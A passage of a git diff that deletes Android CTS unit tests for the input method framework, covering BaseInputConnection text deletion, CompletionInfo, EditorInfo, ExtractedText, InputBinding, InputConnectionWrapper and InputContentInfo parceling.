-        testDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 3, 0, "[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 1, "012[]56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 2, "012[]6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>56789", 0, 3, "012[]789");
-
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 0, "[]<><><><><>");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 1, "[]<><><><>");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 2, "[]<><><>");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 3, "[]<><>");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 4, "[]<>");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 5, "[]");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 6, "[]");
-        testDeleteSurroundingTextInCodePointsMain("[]<><><><><>", 0, 1000, "[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 0, 0, "<><><><><>[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 1, 0, "<><><><>[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 2, 0, "<><><>[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 3, 0, "<><>[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 4, 0, "<>[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 5, 0, "[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 6, 0, "[]");
-        testDeleteSurroundingTextInCodePointsMain("<><><><><>[]", 1000, 0, "[]");
-
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 1, 0, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 2, 0, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 3, 0, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 1, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 2, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 0, 3, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 1, 0, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 2, 0, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 3, 0, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 1, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 2, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 0, 3, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("01<[]>456789", 1, 0, "01<[]>456789");
-        testDeleteSurroundingTextInCodePointsMain("01<[]>456789", 0, 1, "01<[]>456789");
-        testDeleteSurroundingTextInCodePointsMain("<12[]3456789", 1, 0, "<1[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("<12[]3456789", 2, 0, "<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("<12[]3456789", 3, 0, "<12[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 1, 0, "<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 2, 0, "<<>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("<<>[]3456789", 3, 0, "<<>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 1, "012[]4>6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 2, "012[]>6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]34>6789", 0, 3, "012[]34>6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 1, "012[]>6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 2, "012[]<>>6789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<>>6789", 0, 3, "012[]<>>6789");
-
-        // Atomicity test.
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 1, 1, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 2, 1, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0<<[]3456789", 3, 1, "0<<[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 1, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 2, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]<<56789", 1, 3, "012[]<<56789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 1, 1, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 2, 1, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0>>[]3456789", 3, 1, "0>>[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 1, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 2, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]>>56789", 1, 3, "012[]>>56789");
-        testDeleteSurroundingTextInCodePointsMain("01<[]>456789", 1, 1, "01<[]>456789");
-
-        // Do not verify the character sequences in the selected region.
-        testDeleteSurroundingTextInCodePointsMain("01[><]456789", 1, 0, "0[><]456789");
-        testDeleteSurroundingTextInCodePointsMain("01[><]456789", 0, 1, "01[><]56789");
-        testDeleteSurroundingTextInCodePointsMain("01[><]456789", 1, 1, "0[><]56789");
-    }
-
-    public void testCloseConnection() {
-        final CharSequence source = "0123456789";
-        mConnection.commitText(source, source.length());
-        final Editable text = mConnection.getEditable();
-        BaseInputConnection.setComposingSpans(text, 2, 5);
-        assertEquals(2, BaseInputConnection.getComposingSpanStart(text));
-        assertEquals(5, BaseInputConnection.getComposingSpanEnd(text));
-
-        // BaseInputConnection#closeConnection() must clear the on-going composition.
-        mConnection.closeConnection();
-        assertEquals(-1, BaseInputConnection.getComposingSpanStart(text));
-        assertEquals(-1, BaseInputConnection.getComposingSpanEnd(text));
-    }
-
-    public void testGetHandler() {
-        // BaseInputConnection must not implement getHandler().
-        assertNull(mConnection.getHandler());
-    }
-
-    public void testCommitContent() {
-        final InputContentInfo inputContentInfo = new InputContentInfo(
-                Uri.parse("content://com.example/path"),
-                new ClipDescription("sample content", new String[]{"image/png"}),
-                Uri.parse("https://example.com"));
-        // The default implementation should do nothing and just return false.
-        assertFalse(mConnection.commitContent(inputContentInfo, 0 /* flags */, null /* opts */));
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/CompletionInfoTest.java b/tests/tests/view/src/android/view/inputmethod/cts/CompletionInfoTest.java
deleted file mode 100644
index 9606a0e..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/CompletionInfoTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.view.inputmethod.CompletionInfo;
-
-public class CompletionInfoTest extends AndroidTestCase {
-    private static final int ID = 1;
-    private static final int POSITION = 1;
-    private static final String TEXT = "CompletionInfoText";
-    private static final String LABEL = "CompletionInfoLabel";
-
-    public void testCompletionInfo() {
-        new CompletionInfo(ID, POSITION, TEXT);
-        CompletionInfo info = new CompletionInfo(ID, POSITION, TEXT, LABEL);
-        assertCompletionInfo(info);
-
-        assertEquals(0, info.describeContents());
-        assertNotNull(info.toString());
-
-        Parcel p = Parcel.obtain();
-        info.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        CompletionInfo targetInfo = CompletionInfo.CREATOR.createFromParcel(p);
-        p.recycle();
-        assertCompletionInfo(targetInfo);
-    }
-
-    private void assertCompletionInfo(CompletionInfo info) {
-        assertEquals(ID, info.getId());
-        assertEquals(POSITION, info.getPosition());
-        assertEquals(TEXT, info.getText().toString());
-        assertEquals(LABEL, info.getLabel().toString());
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/tests/view/src/android/view/inputmethod/cts/EditorInfoTest.java
deleted file mode 100644
index 0780460..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/EditorInfoTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.os.Bundle;
-import android.os.LocaleList;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-import android.text.TextUtils;
-import android.util.Printer;
-import android.view.inputmethod.EditorInfo;
-
-
-public class EditorInfoTest extends AndroidTestCase {
-
-    public void testEditorInfo() {
-        EditorInfo info = new EditorInfo();
-
-        info.actionId = 1;
-        info.actionLabel = "actionLabel";
-        info.fieldId = 2;
-        info.fieldName = "fieldName";
-        info.hintText = "hintText";
-        info.imeOptions = EditorInfo.IME_FLAG_NO_ENTER_ACTION;
-        info.initialCapsMode = TextUtils.CAP_MODE_CHARACTERS;
-        info.initialSelEnd = 10;
-        info.initialSelStart = 0;
-        info.inputType = EditorInfo.TYPE_MASK_CLASS;
-        info.label = "label";
-        info.packageName = "android.view.cts";
-        info.privateImeOptions = "privateIme";
-        Bundle b = new Bundle();
-        String key = "bundleKey";
-        String value = "bundleValue";
-        b.putString(key, value);
-        info.extras = b;
-        info.hintLocales = LocaleList.forLanguageTags("en-PH,en-US");
-        info.contentMimeTypes = new String[]{"image/gif", "image/png"};
-
-        assertEquals(0, info.describeContents());
-
-        Parcel p = Parcel.obtain();
-        info.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        EditorInfo targetInfo = EditorInfo.CREATOR.createFromParcel(p);
-        p.recycle();
-        assertEquals(info.actionId, targetInfo.actionId);
-        assertEquals(info.fieldId, targetInfo.fieldId);
-        assertEquals(info.fieldName, targetInfo.fieldName);
-        assertEquals(info.imeOptions, targetInfo.imeOptions);
-        assertEquals(info.initialCapsMode, targetInfo.initialCapsMode);
-        assertEquals(info.initialSelEnd, targetInfo.initialSelEnd);
-        assertEquals(info.initialSelStart, targetInfo.initialSelStart);
-        assertEquals(info.inputType, targetInfo.inputType);
-        assertEquals(info.packageName, targetInfo.packageName);
-        assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
-        assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
-        assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
-        assertEquals(info.label.toString(), targetInfo.label.toString());
-        assertEquals(info.extras.getString(key), targetInfo.extras.getString(key));
-        assertEquals(info.hintLocales, targetInfo.hintLocales);
-        MoreAsserts.assertEquals(info.contentMimeTypes, targetInfo.contentMimeTypes);
-
-        TestPrinter printer = new TestPrinter();
-        String prefix = "TestEditorInfo";
-        info.dump(printer, prefix);
-        assertTrue(printer.isPrintlnCalled);
-    }
-
-    public void testNullHintLocals() {
-        EditorInfo info = new EditorInfo();
-        info.hintLocales = null;
-        Parcel p = Parcel.obtain();
-        info.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        EditorInfo targetInfo = EditorInfo.CREATOR.createFromParcel(p);
-        p.recycle();
-        assertNull(targetInfo.hintLocales);
-    }
-
-    private class TestPrinter implements Printer {
-        public boolean isPrintlnCalled;
-        public void println(String x) {
-            isPrintlnCalled = true;
-        }
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java b/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
deleted file mode 100644
index c3aa588..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.view.inputmethod.ExtractedTextRequest;
-
-public class ExtractedTextRequestTest extends AndroidTestCase {
-
-    public void testExtractedTextRequest() {
-        ExtractedTextRequest request = new ExtractedTextRequest();
-        request.flags = 1;
-        request.hintMaxChars = 100;
-        request.hintMaxLines = 10;
-        request.token = 2;
-
-        assertEquals(0, request.describeContents());
-
-        Parcel p = Parcel.obtain();
-        request.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        ExtractedTextRequest target = ExtractedTextRequest.CREATOR.createFromParcel(p);
-        p.recycle();
-        assertEquals(request.flags, target.flags);
-        assertEquals(request.hintMaxChars, request.hintMaxChars);
-        assertEquals(request.hintMaxLines, target.hintMaxLines);
-        assertEquals(request.token, target.token);
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextTest.java
deleted file mode 100644
index 3dccee6..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.inputmethod.cts;
-
-
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.view.inputmethod.ExtractedText;
-
-public class ExtractedTextTest extends AndroidTestCase {
-
-    public void testWriteToParcel() {
-
-        ExtractedText extractedText = new ExtractedText();
-        extractedText.flags = 1;
-        extractedText.selectionEnd = 11;
-        extractedText.selectionStart = 2;
-        extractedText.startOffset = 1;
-        CharSequence text = "test";
-        extractedText.text = text;
-        Parcel p = Parcel.obtain();
-        extractedText.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        ExtractedText target = ExtractedText.CREATOR.createFromParcel(p);
-        assertEquals(extractedText.flags, target.flags);
-        assertEquals(extractedText.selectionEnd, target.selectionEnd);
-        assertEquals(extractedText.selectionStart, target.selectionStart);
-        assertEquals(extractedText.startOffset, target.startOffset);
-        assertEquals(extractedText.partialStartOffset, target.partialStartOffset);
-        assertEquals(extractedText.partialEndOffset, target.partialEndOffset);
-        assertEquals(extractedText.text.toString(), target.text.toString());
-
-        assertEquals(0, extractedText.describeContents());
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputBindingTest.java b/tests/tests/view/src/android/view/inputmethod/cts/InputBindingTest.java
deleted file mode 100644
index 0957a94..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputBindingTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.os.Binder;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.view.View;
-import android.view.inputmethod.BaseInputConnection;
-import android.view.inputmethod.InputBinding;
-
-public class InputBindingTest extends AndroidTestCase {
-
-    public void testInputBinding() {
-        View view = new View(getContext());
-        BaseInputConnection bic = new BaseInputConnection(view, false);
-        Binder binder = new Binder();
-        int uid = 1;
-        int pid = 2;
-        InputBinding inputBinding = new InputBinding(bic, binder, uid, pid);
-        new InputBinding(bic, inputBinding);
-        assertSame(bic, inputBinding.getConnection());
-        assertSame(binder, inputBinding.getConnectionToken());
-        assertEquals(uid, inputBinding.getUid());
-        assertEquals(pid, inputBinding.getPid());
-
-        assertNotNull(inputBinding.toString());
-        assertEquals(0, inputBinding.describeContents());
-
-        Parcel p = Parcel.obtain();
-        inputBinding.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        InputBinding target = InputBinding.CREATOR.createFromParcel(p);
-        assertEquals(uid, target.getUid());
-        assertEquals(pid, target.getPid());
-        assertSame(binder, target.getConnectionToken());
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/tests/view/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
deleted file mode 100644
index 8bcb611..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
+++ /dev/null
@@ -1,266 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.content.ClipDescription;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-import android.view.KeyEvent;
-import android.view.inputmethod.CompletionInfo;
-import android.view.inputmethod.CorrectionInfo;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.ExtractedText;
-import android.view.inputmethod.ExtractedTextRequest;
-import android.view.inputmethod.InputConnection;
-import android.view.inputmethod.InputConnectionWrapper;
-import android.view.inputmethod.InputContentInfo;
-
-public class InputConnectionWrapperTest extends AndroidTestCase {
-
-    public void testInputConnectionWrapper() {
-        MockInputConnection inputConnection = new MockInputConnection();
-        InputConnectionWrapper wrapper = new InputConnectionWrapper(null, true);
-        try {
-            wrapper.beginBatchEdit();
-            fail("Failed to throw NullPointerException!");
-        } catch (NullPointerException e) {
-            // expected
-        }
-        wrapper.setTarget(inputConnection);
-
-        wrapper.beginBatchEdit();
-        assertTrue(inputConnection.isBeginBatchEditCalled);
-        wrapper.clearMetaKeyStates(KeyEvent.META_ALT_ON);
-        assertTrue(inputConnection.isClearMetaKeyStatesCalled);
-        wrapper.commitCompletion(new CompletionInfo(1, 1, "testText"));
-        assertTrue(inputConnection.isCommitCompletionCalled);
-        wrapper.commitCorrection(new CorrectionInfo(0, "oldText", "newText"));
-        assertTrue(inputConnection.isCommitCorrectionCalled);
-        wrapper.commitText("Text", 1);
-        assertTrue(inputConnection.isCommitTextCalled);
-        wrapper.deleteSurroundingText(10, 100);
-        assertTrue(inputConnection.isDeleteSurroundingTextCalled);
-        wrapper.deleteSurroundingTextInCodePoints(10, 100);
-        assertTrue(inputConnection.isDeleteSurroundingTextInCodePointsCalled);
-        wrapper.endBatchEdit();
-        assertTrue(inputConnection.isEndBatchEditCalled);
-        wrapper.finishComposingText();
-        assertTrue(inputConnection.isFinishComposingTextCalled);
-        wrapper.getCursorCapsMode(TextUtils.CAP_MODE_CHARACTERS);
-        assertTrue(inputConnection.isGetCursorCapsModeCalled);
-        wrapper.getExtractedText(new ExtractedTextRequest(), 0);
-        assertTrue(inputConnection.isGetExtractedTextCalled);
-        wrapper.getTextAfterCursor(5, 0);
-        assertTrue(inputConnection.isGetTextAfterCursorCalled);
-        wrapper.getTextBeforeCursor(3, 0);
-        assertTrue(inputConnection.isGetTextBeforeCursorCalled);
-        wrapper.performContextMenuAction(1);
-        assertTrue(inputConnection.isPerformContextMenuActionCalled);
-        wrapper.performEditorAction(EditorInfo.IME_ACTION_GO);
-        assertTrue(inputConnection.isPerformEditorActionCalled);
-        wrapper.performPrivateCommand("com.android.action.MAIN", new Bundle());
-        assertTrue(inputConnection.isPerformPrivateCommandCalled);
-        wrapper.reportFullscreenMode(true);
-        assertTrue(inputConnection.isReportFullscreenModeCalled);
-        wrapper.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0));
-        assertTrue(inputConnection.isSendKeyEventCalled);
-        wrapper.setComposingText("Text", 1);
-        assertTrue(inputConnection.isSetComposingTextCalled);
-        wrapper.setSelection(0, 10);
-        assertTrue(inputConnection.isSetSelectionCalled);
-        wrapper.getSelectedText(0);
-        assertTrue(inputConnection.isGetSelectedTextCalled);
-        wrapper.setComposingRegion(0, 3);
-        assertTrue(inputConnection.isSetComposingRegionCalled);
-        wrapper.requestCursorUpdates(InputConnection.CURSOR_UPDATE_IMMEDIATE);
-        assertTrue(inputConnection.isRequestCursorUpdatesCalled);
-        wrapper.closeConnection();
-        assertTrue(inputConnection.isCloseConnectionCalled);
-        assertFalse(inputConnection.isGetHandlerCalled);
-        assertNull(wrapper.getHandler());
-        assertTrue(inputConnection.isGetHandlerCalled);
-        assertFalse(inputConnection.isCommitContentCalled);
-        final InputContentInfo inputContentInfo = new InputContentInfo(
-                Uri.parse("content://com.example/path"),
-                new ClipDescription("sample content", new String[]{"image/png"}),
-                Uri.parse("https://example.com"));
-        wrapper.commitContent(inputContentInfo, 0 /* flags */, null /* opts */);
-        assertTrue(inputConnection.isCommitContentCalled);
-    }
-
-    private class MockInputConnection implements InputConnection {
-        public boolean isBeginBatchEditCalled;
-        public boolean isClearMetaKeyStatesCalled;
-        public boolean isCommitCompletionCalled;
-        public boolean isCommitCorrectionCalled;
-        public boolean isCommitTextCalled;
-        public boolean isDeleteSurroundingTextCalled;
-        public boolean isDeleteSurroundingTextInCodePointsCalled;
-        public boolean isEndBatchEditCalled;
-        public boolean isFinishComposingTextCalled;
-        public boolean isGetCursorCapsModeCalled;
-        public boolean isGetExtractedTextCalled;
-        public boolean isGetTextAfterCursorCalled;
-        public boolean isGetTextBeforeCursorCalled;
-        public boolean isGetSelectedTextCalled;
-        public boolean isPerformContextMenuActionCalled;
-        public boolean isPerformEditorActionCalled;
-        public boolean isPerformPrivateCommandCalled;
-        public boolean isReportFullscreenModeCalled;
-        public boolean isSendKeyEventCalled;
-        public boolean isSetComposingTextCalled;
-        public boolean isSetComposingRegionCalled;
-        public boolean isSetSelectionCalled;
-        public boolean isRequestCursorUpdatesCalled;
-        public boolean isGetHandlerCalled;
-        public boolean isCloseConnectionCalled;
-        public boolean isCommitContentCalled;
-
-        public boolean beginBatchEdit() {
-            isBeginBatchEditCalled = true;
-            return false;
-        }
-
-        public boolean clearMetaKeyStates(int states) {
-            isClearMetaKeyStatesCalled = true;
-            return false;
-        }
-
-        public boolean commitCompletion(CompletionInfo text) {
-            isCommitCompletionCalled = true;
-            return false;
-        }
-
-        public boolean commitCorrection(CorrectionInfo info) {
-            isCommitCorrectionCalled = true;
-            return false;
-        }
-
-        public boolean commitText(CharSequence text, int newCursorPosition) {
-            isCommitTextCalled = true;
-            return false;
-        }
-
-        public boolean deleteSurroundingText(int beforeLength, int afterLength) {
-            isDeleteSurroundingTextCalled = true;
-            return false;
-        }
-
-        public boolean deleteSurroundingTextInCodePoints(int beforeLength, int afterLength) {
-            isDeleteSurroundingTextInCodePointsCalled = true;
-            return false;
-        }
-
-        public boolean endBatchEdit() {
-            isEndBatchEditCalled = true;
-            return false;
-        }
-
-        public boolean finishComposingText() {
-            isFinishComposingTextCalled = true;
-            return false;
-        }
-
-        public int getCursorCapsMode(int reqModes) {
-            isGetCursorCapsModeCalled = true;
-            return 0;
-        }
-
-        public ExtractedText getExtractedText(ExtractedTextRequest request, int flags) {
-            isGetExtractedTextCalled = true;
-            return null;
-        }
-
-        public CharSequence getTextAfterCursor(int n, int flags) {
-            isGetTextAfterCursorCalled = true;
-            return null;
-        }
-
-        public CharSequence getTextBeforeCursor(int n, int flags) {
-            isGetTextBeforeCursorCalled = true;
-            return null;
-        }
-
-        public CharSequence getSelectedText(int flags) {
-            isGetSelectedTextCalled = true;
-            return null;
-        }
-
-        public boolean performContextMenuAction(int id) {
-            isPerformContextMenuActionCalled = true;
-            return false;
-        }
-
-        public boolean performEditorAction(int editorAction) {
-            isPerformEditorActionCalled = true;
-            return false;
-        }
-
-        public boolean performPrivateCommand(String action, Bundle data) {
-            isPerformPrivateCommandCalled = true;
-            return false;
-        }
-
-        public boolean reportFullscreenMode(boolean enabled) {
-            isReportFullscreenModeCalled = true;
-            return false;
-        }
-
-        public boolean sendKeyEvent(KeyEvent event) {
-            isSendKeyEventCalled = true;
-            return false;
-        }
-
-        public boolean setComposingText(CharSequence text, int newCursorPosition) {
-            isSetComposingTextCalled = true;
-            return false;
-        }
-
-        public boolean setComposingRegion(int start, int end) {
-            isSetComposingRegionCalled = true;
-            return false;
-        }
-
-        public boolean setSelection(int start, int end) {
-            isSetSelectionCalled = true;
-            return false;
-        }
-
-        public boolean requestCursorUpdates(int cursorUpdateMode) {
-            isRequestCursorUpdatesCalled = true;
-            return false;
-        }
-
-        public Handler getHandler() {
-            isGetHandlerCalled = true;
-            return null;
-        }
-
-        public void closeConnection() {
-            isCloseConnectionCalled = true;
-        }
-
-        public boolean commitContent(InputContentInfo inputContentInfo, int flags, Bundle opts) {
-            isCommitContentCalled = true;
-            return true;
-        }
-    }
-}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputContentInfoTest.java b/tests/tests/view/src/android/view/inputmethod/cts/InputContentInfoTest.java
deleted file mode 100644
index d8eb897..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/InputContentInfoTest.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-
-import android.content.ClipDescription;
-import android.net.Uri;
-import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.view.inputmethod.InputContentInfo;
-
-import java.lang.NullPointerException;
-import java.security.InvalidParameterException;
-
-public class InputContentInfoTest extends AndroidTestCase {
-
-    public void testInputContentInfo() {
-        InputContentInfo info = new InputContentInfo(
-                 Uri.parse("content://com.example/path"),
-                 new ClipDescription("sample content", new String[]{"image/png"}),
-                 Uri.parse("https://example.com"));
-
-        assertEquals(Uri.parse("content://com.example/path"), info.getContentUri());
-        assertEquals(1, info.getDescription().getMimeTypeCount());
-        assertEquals("image/png", info.getDescription().getMimeType(0));
-        assertEquals("sample content", info.getDescription().getLabel());
-        assertEquals(Uri.parse("https://example.com"), info.getLinkUri());
-        assertEquals(0, info.describeContents());
-
-        Parcel p = Parcel.obtain();
-        info.writeToParcel(p, 0);
-        p.setDataPosition(0);
-        InputContentInfo targetInfo = InputContentInfo.CREATOR.createFromParcel(p);
-        p.recycle();
-
-        assertEquals(info.getContentUri(), targetInfo.getContentUri());
-        assertEquals(info.getDescription().getMimeTypeCount(),
-                targetInfo.getDescription().getMimeTypeCount());
-        assertEquals(info.getDescription().getMimeType(0),
-                targetInfo.getDescription().getMimeType(0));
-        assertEquals(info.getDescription().getLabel(), targetInfo.getDescription().getLabel());
-        assertEquals(info.getLinkUri(), targetInfo.getLinkUri());
-        assertEquals(info.describeContents(), targetInfo.describeContents());
-    }
-
-    public void testOptionalConstructorParam() {
-        InputContentInfo info = new InputContentInfo(
-                Uri.parse("content://com.example/path"),
-                new ClipDescription("sample content", new String[]{"image/png"}));
-
-        assertEquals(Uri.parse("content://com.example/path"), info.getContentUri());
-        assertEquals(1, info.getDescription().getMimeTypeCount());
-        assertEquals("image/png", info.getDescription().getMimeType(0));
-        assertEquals("sample content", info.getDescription().getLabel());
-        assertNull(info.getLinkUri());
-        assertEquals(0, info.describeContents());
-    }
-
-    public void testContentUri() {
-        try {
-            InputContentInfo info = new InputContentInfo(
-                    null, new ClipDescription("sample content", new String[]{"image/png"}),
-                    Uri.parse("https://example.com"));
